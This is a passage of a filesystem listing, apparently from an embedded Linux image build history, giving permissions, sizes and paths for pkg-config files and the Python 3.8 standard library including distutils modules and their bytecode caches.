+-rw-r--r-- root root 256 ./usr/lib/pkgconfig/cairo-xlib-xrender.pc
+-rw-r--r-- root root 247 ./usr/lib/pkgconfig/com_err.pc
+-rw-r--r-- root root 158 ./usr/lib/pkgconfig/compositeproto.pc
+-rw-r--r-- root root 152 ./usr/lib/pkgconfig/damageproto.pc
+-rw-r--r-- root root 607 ./usr/lib/pkgconfig/dbus-1.pc
+-rw-r--r-- root root 275 ./usr/lib/pkgconfig/dbus-python.pc
+-rw-r--r-- root root 146 ./usr/lib/pkgconfig/dmxproto.pc
+-rw-r--r-- root root 146 ./usr/lib/pkgconfig/dpmsproto.pc
+-rw-r--r-- root root 146 ./usr/lib/pkgconfig/dri2proto.pc
+-rw-r--r-- root root 146 ./usr/lib/pkgconfig/dri3proto.pc
+-rw-r--r-- root root 226 ./usr/lib/pkgconfig/e2p.pc
+-rw-r--r-- root root 206 ./usr/lib/pkgconfig/expat.pc
+-rw-r--r-- root root 223 ./usr/lib/pkgconfig/ext2fs.pc
+-rw-r--r-- root root 213 ./usr/lib/pkgconfig/fdisk.pc
+-rw-r--r-- root root 148 ./usr/lib/pkgconfig/fixesproto.pc
+-rw-r--r-- root root 407 ./usr/lib/pkgconfig/fontconfig.pc
+-rw-r--r-- root root 150 ./usr/lib/pkgconfig/fontsproto.pc
+-rw-r--r-- root root 469 ./usr/lib/pkgconfig/form.pc
+-rw-r--r-- root root 454 ./usr/lib/pkgconfig/formw.pc
+-rw-r--r-- root root 310 ./usr/lib/pkgconfig/freetype2.pc
+-rw-r--r-- root root 630 ./usr/lib/pkgconfig/gio-2.0.pc
+-rw-r--r-- root root 231 ./usr/lib/pkgconfig/gio-unix-2.0.pc
+-rw-r--r-- root root 377 ./usr/lib/pkgconfig/glib-2.0.pc
+-rw-r--r-- root root 354 ./usr/lib/pkgconfig/gl.pc
+-rw-r--r-- root root 145 ./usr/lib/pkgconfig/glproto.pc
+-rw-r--r-- root root 253 ./usr/lib/pkgconfig/gmodule-2.0.pc
+-rw-r--r-- root root 253 ./usr/lib/pkgconfig/gmodule-export-2.0.pc
+-rw-r--r-- root root 272 ./usr/lib/pkgconfig/gmodule-no-export-2.0.pc
+-rw-r--r-- root root 225 ./usr/lib/pkgconfig/gmp.pc
+-rw-r--r-- root root 260 ./usr/lib/pkgconfig/gmpxx.pc
+-rw-r--r-- root root 286 ./usr/lib/pkgconfig/gobject-2.0.pc
+-rw-r--r-- root root 649 ./usr/lib/pkgconfig/gobject-introspection-1.0.pc
+-rw-r--r-- root root 612 ./usr/lib/pkgconfig/gobject-introspection-no-export-1.0.pc
+-rw-r--r-- root root 222 ./usr/lib/pkgconfig/gthread-2.0.pc
+-rw-r--r-- root root 206 ./usr/lib/pkgconfig/ice.pc
+-rw-r--r-- root root 150 ./usr/lib/pkgconfig/inputproto.pc
+-rw-r--r-- root root 144 ./usr/lib/pkgconfig/kbproto.pc
+-rw-r--r-- root root 204 ./usr/lib/pkgconfig/libacl.pc
+-rw-r--r-- root root 217 ./usr/lib/pkgconfig/libattr.pc
+-rw-r--r-- root root 208 ./usr/lib/pkgconfig/libcap-ng.pc
+-rw-r--r-- root root 209 ./usr/lib/pkgconfig/libcap.pc
+-rw-r--r-- root root 275 ./usr/lib/pkgconfig/libcrypto.pc
+lrwxrwxrwx root root 12 ./usr/lib/pkgconfig/libcrypt.pc -> libxcrypt.pc
+-rw-r--r-- root root 269 ./usr/lib/pkgconfig/libdrm_amdgpu.pc
+-rw-r--r-- root root 266 ./usr/lib/pkgconfig/libdrm_etnaviv.pc
+-rw-r--r-- root root 300 ./usr/lib/pkgconfig/libdrm_freedreno.pc
+-rw-r--r-- root root 254 ./usr/lib/pkgconfig/libdrm_intel.pc
+-rw-r--r-- root root 299 ./usr/lib/pkgconfig/libdrm_nouveau.pc
+-rw-r--r-- root root 276 ./usr/lib/pkgconfig/libdrm_omap.pc
+-rw-r--r-- root root 219 ./usr/lib/pkgconfig/libdrm.pc
+-rw-r--r-- root root 269 ./usr/lib/pkgconfig/libdrm_radeon.pc
+-rw-r--r-- root root 205 ./usr/lib/pkgconfig/libdrm_vc4.pc
+-rw-r--r-- root root 633 ./usr/lib/pkgconfig/libdw.pc
+-rw-r--r-- root root 262 ./usr/lib/pkgconfig/libelf.pc
+-rw-r--r-- root root 237 ./usr/lib/pkgconfig/libffi.pc
+-rw-r--r-- root root 213 ./usr/lib/pkgconfig/libip4tc.pc
+-rw-r--r-- root root 213 ./usr/lib/pkgconfig/libip6tc.pc
+-rw-r--r-- root root 190 ./usr/lib/pkgconfig/libiptc.pc
+-rw-r--r-- root root 213 ./usr/lib/pkgconfig/libkmod.pc
+-rw-r--r-- root root 258 ./usr/lib/pkgconfig/libkms.pc
+-rw-r--r-- root root 390 ./usr/lib/pkgconfig/liblzma.pc
+-rw-r--r-- root root 292 ./usr/lib/pkgconfig/libmnl.pc
+-rw-r--r-- root root 247 ./usr/lib/pkgconfig/libnsl.pc
+-rw-r--r-- root root 243 ./usr/lib/pkgconfig/libpcrecpp.pc
+-rw-r--r-- root root 305 ./usr/lib/pkgconfig/libpcre.pc
+-rw-r--r-- root root 285 ./usr/lib/pkgconfig/libpcreposix.pc
+-rw-r--r-- root root 239 ./usr/lib/pkgconfig/libpng16.pc
+lrwxrwxrwx root root 11 ./usr/lib/pkgconfig/libpng.pc -> libpng16.pc
+-rw-r--r-- root root 223 ./usr/lib/pkgconfig/libprocps.pc
+-rw-r--r-- root root 254 ./usr/lib/pkgconfig/libpsx.pc
+-rw-r--r-- root root 254 ./usr/lib/pkgconfig/libssl.pc
+-rw-r--r-- root root 235 ./usr/lib/pkgconfig/libtirpc.pc
+-rw-r--r-- root root 493 ./usr/lib/pkgconfig/libudev.pc
+-rw-r--r-- root root 367 ./usr/lib/pkgconfig/libxcrypt.pc
+-rw-r--r-- root root 243 ./usr/lib/pkgconfig/libxml-2.0.pc
+-rw-r--r-- root root 500 ./usr/lib/pkgconfig/lzo2.pc
+-rw-r--r-- root root 469 ./usr/lib/pkgconfig/menu.pc
+-rw-r--r-- root root 454 ./usr/lib/pkgconfig/menuw.pc
+-rw-r--r-- root root 627 ./usr/lib/pkgconfig/mount.pc
+-rw-r--r-- root root 469 ./usr/lib/pkgconfig/ncurses.pc
+-rw-r--r-- root root 498 ./usr/lib/pkgconfig/ncurses++.pc
+-rw-r--r-- root root 486 ./usr/lib/pkgconfig/ncurses++w.pc
+-rw-r--r-- root root 453 ./usr/lib/pkgconfig/ncursesw.pc
+-rw-r--r-- root root 208 ./usr/lib/pkgconfig/openssl.pc
+-rw-r--r-- root root 471 ./usr/lib/pkgconfig/panel.pc
+-rw-r--r-- root root 456 ./usr/lib/pkgconfig/panelw.pc
+-rw-r--r-- root root 228 ./usr/lib/pkgconfig/pciaccess.pc
+-rw-r--r-- root root 224 ./usr/lib/pkgconfig/pixman-1.pc
+-rw-r--r-- root root 152 ./usr/lib/pkgconfig/presentproto.pc
+-rw-r--r-- root root 224 ./usr/lib/pkgconfig/pthread-stubs.pc
+-rw-r--r-- root root 182 ./usr/lib/pkgconfig/py3cairo.pc
+-rw-r--r-- root root 706 ./usr/lib/pkgconfig/pygobject-3.0.pc
+-rw-r--r-- root root 297 ./usr/lib/pkgconfig/python-3.8-embed.pc
+-rw-r--r-- root root 271 ./usr/lib/pkgconfig/python-3.8.pc
+lrwxrwxrwx root root 19 ./usr/lib/pkgconfig/python3-embed.pc -> python-3.8-embed.pc
+lrwxrwxrwx root root 13 ./usr/lib/pkgconfig/python3.pc -> python-3.8.pc
+-rw-r--r-- root root 150 ./usr/lib/pkgconfig/randrproto.pc
+-rw-r--r-- root root 302 ./usr/lib/pkgconfig/readline.pc
+-rw-r--r-- root root 153 ./usr/lib/pkgconfig/recordproto.pc
+-rw-r--r-- root root 153 ./usr/lib/pkgconfig/renderproto.pc
+-rw-r--r-- root root 156 ./usr/lib/pkgconfig/resourceproto.pc
+-rw-r--r-- root root 158 ./usr/lib/pkgconfig/scrnsaverproto.pc
+-rw-r--r-- root root 204 ./usr/lib/pkgconfig/smartcols.pc
+-rw-r--r-- root root 222 ./usr/lib/pkgconfig/sm.pc
+-rw-r--r-- root root 256 ./usr/lib/pkgconfig/sqlite3.pc
+-rw-r--r-- root root 249 ./usr/lib/pkgconfig/ss.pc
+-rw-r--r-- root root 467 ./usr/lib/pkgconfig/tic.pc
+-rw-r--r-- root root 452 ./usr/lib/pkgconfig/ticw.pc
+-rw-r--r-- root root 458 ./usr/lib/pkgconfig/tinfo.pc
+-rw-r--r-- root root 204 ./usr/lib/pkgconfig/uuid.pc
+-rw-r--r-- root root 150 ./usr/lib/pkgconfig/videoproto.pc
+-rw-r--r-- root root 314 ./usr/lib/pkgconfig/wayland-client.pc
+-rw-r--r-- root root 234 ./usr/lib/pkgconfig/wayland-cursor.pc
+-rw-r--r-- root root 166 ./usr/lib/pkgconfig/wayland-egl-backend.pc
+-rw-r--r-- root root 219 ./usr/lib/pkgconfig/wayland-egl.pc
+-rw-r--r-- root root 269 ./usr/lib/pkgconfig/wayland-scanner.pc
+-rw-r--r-- root root 337 ./usr/lib/pkgconfig/wayland-server.pc
+-rw-r--r-- root root 270 ./usr/lib/pkgconfig/x11.pc
+-rw-r--r-- root root 206 ./usr/lib/pkgconfig/x11-xcb.pc
+-rw-r--r-- root root 212 ./usr/lib/pkgconfig/xau.pc
+-rw-r--r-- root root 232 ./usr/lib/pkgconfig/xcb-composite.pc
+-rw-r--r-- root root 223 ./usr/lib/pkgconfig/xcb-damage.pc
+-rw-r--r-- root root 206 ./usr/lib/pkgconfig/xcb-dpms.pc
+-rw-r--r-- root root 206 ./usr/lib/pkgconfig/xcb-dri2.pc
+-rw-r--r-- root root 206 ./usr/lib/pkgconfig/xcb-dri3.pc
+-rw-r--r-- root root 203 ./usr/lib/pkgconfig/xcb-glx.pc
+-rw-r--r-- root root 251 ./usr/lib/pkgconfig/xcb.pc
+-rw-r--r-- root root 245 ./usr/lib/pkgconfig/xcb-present.pc
+-rw-r--r-- root root 273 ./usr/lib/pkgconfig/xcb-proto.pc
+-rw-r--r-- root root 220 ./usr/lib/pkgconfig/xcb-randr.pc
+-rw-r--r-- root root 212 ./usr/lib/pkgconfig/xcb-record.pc
+-rw-r--r-- root root 212 ./usr/lib/pkgconfig/xcb-render.pc
+-rw-r--r-- root root 210 ./usr/lib/pkgconfig/xcb-res.pc
+-rw-r--r-- root root 227 ./usr/lib/pkgconfig/xcb-screensaver.pc
+-rw-r--r-- root root 209 ./usr/lib/pkgconfig/xcb-shape.pc
+-rw-r--r-- root root 203 ./usr/lib/pkgconfig/xcb-shm.pc
+-rw-r--r-- root root 206 ./usr/lib/pkgconfig/xcb-sync.pc
+-rw-r--r-- root root 223 ./usr/lib/pkgconfig/xcb-xf86dri.pc
+-rw-r--r-- root root 233 ./usr/lib/pkgconfig/xcb-xfixes.pc
+-rw-r--r-- root root 218 ./usr/lib/pkgconfig/xcb-xinerama.pc
+-rw-r--r-- root root 238 ./usr/lib/pkgconfig/xcb-xinput.pc
+-rw-r--r-- root root 223 ./usr/lib/pkgconfig/xcb-xkb.pc
+-rw-r--r-- root root 209 ./usr/lib/pkgconfig/xcb-xtest.pc
+-rw-r--r-- root root 213 ./usr/lib/pkgconfig/xcb-xvmc.pc
+-rw-r--r-- root root 208 ./usr/lib/pkgconfig/xcb-xv.pc
+-rw-r--r-- root root 152 ./usr/lib/pkgconfig/xcmiscproto.pc
+-rw-r--r-- root root 254 ./usr/lib/pkgconfig/xdamage.pc
+-rw-r--r-- root root 220 ./usr/lib/pkgconfig/xdmcp.pc
+-rw-r--r-- root root 225 ./usr/lib/pkgconfig/xext.pc
+-rw-r--r-- root root 148 ./usr/lib/pkgconfig/xextproto.pc
+-rw-r--r-- root root 162 ./usr/lib/pkgconfig/xf86bigfontproto.pc
+-rw-r--r-- root root 152 ./usr/lib/pkgconfig/xf86dgaproto.pc
+-rw-r--r-- root root 162 ./usr/lib/pkgconfig/xf86driproto.pc
+-rw-r--r-- root root 162 ./usr/lib/pkgconfig/xf86vidmodeproto.pc
+-rw-r--r-- root root 236 ./usr/lib/pkgconfig/xfixes.pc
+-rw-r--r-- root root 156 ./usr/lib/pkgconfig/xineramaproto.pc
+-rw-r--r-- root root 143 ./usr/lib/pkgconfig/xproto.pc
+-rw-r--r-- root root 248 ./usr/lib/pkgconfig/xrandr.pc
+-rw-r--r-- root root 244 ./usr/lib/pkgconfig/xrender.pc
+-rw-r--r-- root root 216 ./usr/lib/pkgconfig/xshmfence.pc
+-rw-r--r-- root root 261 ./usr/lib/pkgconfig/xtables.pc
+-rw-r--r-- root root 255 ./usr/lib/pkgconfig/xxf86vm.pc
+-rw-r--r-- root root 233 ./usr/lib/pkgconfig/zlib.pc
+drwxr-xr-x root root 4096 ./usr/lib/python3.8
+-rw-r--r-- root root 4489 ./usr/lib/python3.8/abc.py
+-rw-r--r-- root root 96015 ./usr/lib/python3.8/argparse.py
+-rw-r--r-- root root 18608 ./usr/lib/python3.8/ast.py
+-rwxr-xr-x root root 20382 ./usr/lib/python3.8/base64.py
+-rw-r--r-- root root 2214 ./usr/lib/python3.8/bisect.py
+-rw-r--r-- root root 1801 ./usr/lib/python3.8/_bootlocale.py
+-rw-r--r-- root root 12558 ./usr/lib/python3.8/bz2.py
+-rw-r--r-- root root 24832 ./usr/lib/python3.8/calendar.py
+-rw-r--r-- root root 14860 ./usr/lib/python3.8/cmd.py
+-rw-r--r-- root root 36667 ./usr/lib/python3.8/codecs.py
+-rw-r--r-- root root 6059 ./usr/lib/python3.8/codeop.py
+-rw-r--r-- root root 10622 ./usr/lib/python3.8/code.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/collections
+-rw-r--r-- root root 26100 ./usr/lib/python3.8/_collections_abc.py
+-rw-r--r-- root root 68 ./usr/lib/python3.8/collections/abc.py
+-rw-r--r-- root root 47938 ./usr/lib/python3.8/collections/__init__.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/collections/__pycache__
+-rw-r--r-- root root 191 ./usr/lib/python3.8/collections/__pycache__/abc.cpython-38.opt-1.pyc
+-rw-r--r-- root root 191 ./usr/lib/python3.8/collections/__pycache__/abc.cpython-38.opt-2.pyc
+-rw-r--r-- root root 191 ./usr/lib/python3.8/collections/__pycache__/abc.cpython-38.pyc
+-rw-r--r-- root root 46435 ./usr/lib/python3.8/collections/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 35846 ./usr/lib/python3.8/collections/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 46435 ./usr/lib/python3.8/collections/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 8749 ./usr/lib/python3.8/_compat_pickle.py
+-rw-r--r-- root root 5340 ./usr/lib/python3.8/_compression.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu
+-rw-r--r-- root root 3303 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/config.c
+-rw-r--r-- root root 1623 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/config.c.in
+-rwxr-xr-x root root 15368 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/install-sh
+-rw-r--r-- root root 78513 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/Makefile
+-rwxr-xr-x root root 7848 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/makesetup
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/__pycache__
+-rw-r--r-- root root 1959 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/__pycache__/python-config.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1959 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/__pycache__/python-config.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1959 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/__pycache__/python-config.cpython-38.pyc
+-rwxr-xr-x root root 2114 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/python-config.py
+-rw-r--r-- root root 4488 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/python.o
+-rw-r--r-- root root 14786 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/Setup
+-rw-r--r-- root root 13 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/Setup.local
+-rw-r--r-- root root 54374 ./usr/lib/python3.8/configparser.py
+-rw-r--r-- root root 24995 ./usr/lib/python3.8/contextlib.py
+-rw-r--r-- root root 8661 ./usr/lib/python3.8/copy.py
+-rw-r--r-- root root 7135 ./usr/lib/python3.8/copyreg.py
+-rw-r--r-- root root 3610 ./usr/lib/python3.8/crypt.py
+-rw-r--r-- root root 16144 ./usr/lib/python3.8/csv.py
+-rw-r--r-- root root 88074 ./usr/lib/python3.8/datetime.py
+-rw-r--r-- root root 20566 ./usr/lib/python3.8/dis.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/distutils
+-rw-r--r-- root root 8572 ./usr/lib/python3.8/distutils/archive_util.py
+-rw-r--r-- root root 14935 ./usr/lib/python3.8/distutils/bcppcompiler.py
+-rw-r--r-- root root 47433 ./usr/lib/python3.8/distutils/ccompiler.py
+-rw-r--r-- root root 18079 ./usr/lib/python3.8/distutils/cmd.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/distutils/command
+-rw-r--r-- root root 4913 ./usr/lib/python3.8/distutils/command/bdist_dumb.py
+-rw-r--r-- root root 35295 ./usr/lib/python3.8/distutils/command/bdist_msi.py
+-rw-r--r-- root root 5562 ./usr/lib/python3.8/distutils/command/bdist.py
+-rw-r--r-- root root 21577 ./usr/lib/python3.8/distutils/command/bdist_rpm.py
+-rw-r--r-- root root 16043 ./usr/lib/python3.8/distutils/command/bdist_wininst.py
+-rw-r--r-- root root 8022 ./usr/lib/python3.8/distutils/command/build_clib.py
+-rw-r--r-- root root 31568 ./usr/lib/python3.8/distutils/command/build_ext.py
+-rw-r--r-- root root 5767 ./usr/lib/python3.8/distutils/command/build.py
+-rw-r--r-- root root 17164 ./usr/lib/python3.8/distutils/command/build_py.py
+-rw-r--r-- root root 6232 ./usr/lib/python3.8/distutils/command/build_scripts.py
+-rw-r--r-- root root 5599 ./usr/lib/python3.8/distutils/command/check.py
+-rw-r--r-- root root 2776 ./usr/lib/python3.8/distutils/command/clean.py
+-rw-r--r-- root root 633 ./usr/lib/python3.8/distutils/command/command_template
+-rw-r--r-- root root 13117 ./usr/lib/python3.8/distutils/command/config.py
+-rw-r--r-- root root 799 ./usr/lib/python3.8/distutils/command/__init__.py
+-rw-r--r-- root root 2822 ./usr/lib/python3.8/distutils/command/install_data.py
+-rw-r--r-- root root 2603 ./usr/lib/python3.8/distutils/command/install_egg_info.py
+-rw-r--r-- root root 1298 ./usr/lib/python3.8/distutils/command/install_headers.py
+-rw-r--r-- root root 8397 ./usr/lib/python3.8/distutils/command/install_lib.py
+-rw-r--r-- root root 26774 ./usr/lib/python3.8/distutils/command/install.py
+-rw-r--r-- root root 2017 ./usr/lib/python3.8/distutils/command/install_scripts.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/distutils/command/__pycache__
+-rw-r--r-- root root 3666 ./usr/lib/python3.8/distutils/command/__pycache__/bdist.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3472 ./usr/lib/python3.8/distutils/command/__pycache__/bdist.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3666 ./usr/lib/python3.8/distutils/command/__pycache__/bdist.cpython-38.pyc
+-rw-r--r-- root root 3592 ./usr/lib/python3.8/distutils/command/__pycache__/bdist_dumb.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3392 ./usr/lib/python3.8/distutils/command/__pycache__/bdist_dumb.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3592 ./usr/lib/python3.8/distutils/command/__pycache__/bdist_dumb.cpython-38.pyc
+-rw-r--r-- root root 19535 ./usr/lib/python3.8/distutils/command/__pycache__/bdist_msi.cpython-38.opt-1.pyc
+-rw-r--r-- root root 17994 ./usr/lib/python3.8/distutils/command/__pycache__/bdist_msi.cpython-38.opt-2.pyc
+-rw-r--r-- root root 19623 ./usr/lib/python3.8/distutils/command/__pycache__/bdist_msi.cpython-38.pyc
+-rw-r--r-- root root 12362 ./usr/lib/python3.8/distutils/command/__pycache__/bdist_rpm.cpython-38.opt-1.pyc
+-rw-r--r-- root root 12043 ./usr/lib/python3.8/distutils/command/__pycache__/bdist_rpm.cpython-38.opt-2.pyc
+-rw-r--r-- root root 12428 ./usr/lib/python3.8/distutils/command/__pycache__/bdist_rpm.cpython-38.pyc
+-rw-r--r-- root root 8423 ./usr/lib/python3.8/distutils/command/__pycache__/bdist_wininst.cpython-38.opt-1.pyc
+-rw-r--r-- root root 8284 ./usr/lib/python3.8/distutils/command/__pycache__/bdist_wininst.cpython-38.opt-2.pyc
+-rw-r--r-- root root 8489 ./usr/lib/python3.8/distutils/command/__pycache__/bdist_wininst.cpython-38.pyc
+-rw-r--r-- root root 4814 ./usr/lib/python3.8/distutils/command/__pycache__/build_clib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4260 ./usr/lib/python3.8/distutils/command/__pycache__/build_clib.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4814 ./usr/lib/python3.8/distutils/command/__pycache__/build_clib.cpython-38.pyc
+-rw-r--r-- root root 3881 ./usr/lib/python3.8/distutils/command/__pycache__/build.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3798 ./usr/lib/python3.8/distutils/command/__pycache__/build.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3881 ./usr/lib/python3.8/distutils/command/__pycache__/build.cpython-38.pyc
+-rw-r--r-- root root 16137 ./usr/lib/python3.8/distutils/command/__pycache__/build_ext.cpython-38.opt-1.pyc
+-rw-r--r-- root root 14180 ./usr/lib/python3.8/distutils/command/__pycache__/build_ext.cpython-38.opt-2.pyc
+-rw-r--r-- root root 16137 ./usr/lib/python3.8/distutils/command/__pycache__/build_ext.cpython-38.pyc
+-rw-r--r-- root root 10405 ./usr/lib/python3.8/distutils/command/__pycache__/build_py.cpython-38.opt-1.pyc
+-rw-r--r-- root root 9198 ./usr/lib/python3.8/distutils/command/__pycache__/build_py.cpython-38.opt-2.pyc
+-rw-r--r-- root root 10462 ./usr/lib/python3.8/distutils/command/__pycache__/build_py.cpython-38.pyc
+-rw-r--r-- root root 4324 ./usr/lib/python3.8/distutils/command/__pycache__/build_scripts.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3930 ./usr/lib/python3.8/distutils/command/__pycache__/build_scripts.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4324 ./usr/lib/python3.8/distutils/command/__pycache__/build_scripts.cpython-38.pyc
+-rw-r--r-- root root 4885 ./usr/lib/python3.8/distutils/command/__pycache__/check.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4317 ./usr/lib/python3.8/distutils/command/__pycache__/check.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4885 ./usr/lib/python3.8/distutils/command/__pycache__/check.cpython-38.pyc
+-rw-r--r-- root root 2100 ./usr/lib/python3.8/distutils/command/__pycache__/clean.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2017 ./usr/lib/python3.8/distutils/command/__pycache__/clean.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2100 ./usr/lib/python3.8/distutils/command/__pycache__/clean.cpython-38.pyc
+-rw-r--r-- root root 10227 ./usr/lib/python3.8/distutils/command/__pycache__/config.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6891 ./usr/lib/python3.8/distutils/command/__pycache__/config.cpython-38.opt-2.pyc
+-rw-r--r-- root root 10227 ./usr/lib/python3.8/distutils/command/__pycache__/config.cpython-38.pyc
+-rw-r--r-- root root 543 ./usr/lib/python3.8/distutils/command/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 434 ./usr/lib/python3.8/distutils/command/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 543 ./usr/lib/python3.8/distutils/command/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 13568 ./usr/lib/python3.8/distutils/command/__pycache__/install.cpython-38.opt-1.pyc
+-rw-r--r-- root root 12513 ./usr/lib/python3.8/distutils/command/__pycache__/install.cpython-38.opt-2.pyc
+-rw-r--r-- root root 13568 ./usr/lib/python3.8/distutils/command/__pycache__/install.cpython-38.pyc
+-rw-r--r-- root root 2289 ./usr/lib/python3.8/distutils/command/__pycache__/install_data.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2144 ./usr/lib/python3.8/distutils/command/__pycache__/install_data.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2289 ./usr/lib/python3.8/distutils/command/__pycache__/install_data.cpython-38.pyc
+-rw-r--r-- root root 2996 ./usr/lib/python3.8/distutils/command/__pycache__/install_egg_info.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2317 ./usr/lib/python3.8/distutils/command/__pycache__/install_egg_info.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2996 ./usr/lib/python3.8/distutils/command/__pycache__/install_egg_info.cpython-38.pyc
+-rw-r--r-- root root 1708 ./usr/lib/python3.8/distutils/command/__pycache__/install_headers.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1542 ./usr/lib/python3.8/distutils/command/__pycache__/install_headers.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1708 ./usr/lib/python3.8/distutils/command/__pycache__/install_headers.cpython-38.pyc
+-rw-r--r-- root root 5113 ./usr/lib/python3.8/distutils/command/__pycache__/install_lib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4532 ./usr/lib/python3.8/distutils/command/__pycache__/install_lib.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5113 ./usr/lib/python3.8/distutils/command/__pycache__/install_lib.cpython-38.pyc
+-rw-r--r-- root root 2141 ./usr/lib/python3.8/distutils/command/__pycache__/install_scripts.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2007 ./usr/lib/python3.8/distutils/command/__pycache__/install_scripts.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2141 ./usr/lib/python3.8/distutils/command/__pycache__/install_scripts.cpython-38.pyc
+-rw-r--r-- root root 8455 ./usr/lib/python3.8/distutils/command/__pycache__/register.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7190 ./usr/lib/python3.8/distutils/command/__pycache__/register.cpython-38.opt-2.pyc
+-rw-r--r-- root root 8455 ./usr/lib/python3.8/distutils/command/__pycache__/register.cpython-38.pyc
+-rw-r--r-- root root 14516 ./usr/lib/python3.8/distutils/command/__pycache__/sdist.cpython-38.opt-1.pyc
+-rw-r--r-- root root 11157 ./usr/lib/python3.8/distutils/command/__pycache__/sdist.cpython-38.opt-2.pyc
+-rw-r--r-- root root 14516 ./usr/lib/python3.8/distutils/command/__pycache__/sdist.cpython-38.pyc
+-rw-r--r-- root root 4939 ./usr/lib/python3.8/distutils/command/__pycache__/upload.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4813 ./usr/lib/python3.8/distutils/command/__pycache__/upload.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4939 ./usr/lib/python3.8/distutils/command/__pycache__/upload.cpython-38.pyc
+-rw-r--r-- root root 11712 ./usr/lib/python3.8/distutils/command/register.py
+-rw-r--r-- root root 19005 ./usr/lib/python3.8/distutils/command/sdist.py
+-rw-r--r-- root root 7001 ./usr/lib/python3.8/distutils/command/upload.py
+-rw-r--r-- root root 222208 ./usr/lib/python3.8/distutils/command/wininst-10.0-amd64.exe
+-rw-r--r-- root root 190976 ./usr/lib/python3.8/distutils/command/wininst-10.0.exe
+-rw-r--r-- root root 587776 ./usr/lib/python3.8/distutils/command/wininst-14.0-amd64.exe
+-rw-r--r-- root root 458240 ./usr/lib/python3.8/distutils/command/wininst-14.0.exe
+-rw-r--r-- root root 61440 ./usr/lib/python3.8/distutils/command/wininst-6.0.exe
+-rw-r--r-- root root 65536 ./usr/lib/python3.8/distutils/command/wininst-7.1.exe
+-rw-r--r-- root root 61440 ./usr/lib/python3.8/distutils/command/wininst-8.0.exe
+-rw-r--r-- root root 224256 ./usr/lib/python3.8/distutils/command/wininst-9.0-amd64.exe
+-rw-r--r-- root root 196096 ./usr/lib/python3.8/distutils/command/wininst-9.0.exe
+-rw-r--r-- root root 4827 ./usr/lib/python3.8/distutils/config.py
+-rw-r--r-- root root 8876 ./usr/lib/python3.8/distutils/core.py
+-rw-r--r-- root root 16478 ./usr/lib/python3.8/distutils/cygwinccompiler.py
+-rw-r--r-- root root 139 ./usr/lib/python3.8/distutils/debug.py
+-rw-r--r-- root root 3491 ./usr/lib/python3.8/distutils/dep_util.py
+-rw-r--r-- root root 7778 ./usr/lib/python3.8/distutils/dir_util.py
+-rw-r--r-- root root 50385 ./usr/lib/python3.8/distutils/dist.py
+-rw-r--r-- root root 3577 ./usr/lib/python3.8/distutils/errors.py
+-rw-r--r-- root root 10515 ./usr/lib/python3.8/distutils/extension.py
+-rw-r--r-- root root 17784 ./usr/lib/python3.8/distutils/fancy_getopt.py
+-rw-r--r-- root root 12832 ./usr/lib/python3.8/distutils/filelist.py
+-rw-r--r-- root root 8148 ./usr/lib/python3.8/distutils/file_util.py
+-rw-r--r-- root root 236 ./usr/lib/python3.8/distutils/__init__.py
+-rw-r--r-- root root 1969 ./usr/lib/python3.8/distutils/log.py
+-rw-r--r-- root root 30511 ./usr/lib/python3.8/distutils/msvc9compiler.py
+-rw-r--r-- root root 20050 ./usr/lib/python3.8/distutils/_msvccompiler.py
+-rw-r--r-- root root 23564 ./usr/lib/python3.8/distutils/msvccompiler.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/distutils/__pycache__
